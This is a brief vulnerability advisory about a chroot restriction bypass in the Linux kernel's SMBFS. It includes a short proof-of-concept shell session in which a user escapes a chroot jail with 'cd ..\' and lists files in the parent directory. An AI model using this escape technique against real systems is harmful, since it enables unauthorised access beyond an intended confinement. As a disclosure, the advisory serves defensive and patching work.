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Linux Kernel SMBFS CHRoot Security Restriction Bypass Vulnerability
To exploit this issue, attackers can use normal system commands. The following proof of concept is available: root@server me]# pwd /path/to/my/dir [root@server me]# ls bin chroot etc lib [root@server me]# chroot . bash-2.05a# pwd / bash-2.05a# ls bin chroot etc lib bash-2.05a# cd ..\bash-2.05a# pwd /..bash-2.05a# ls <list of files from parent> |
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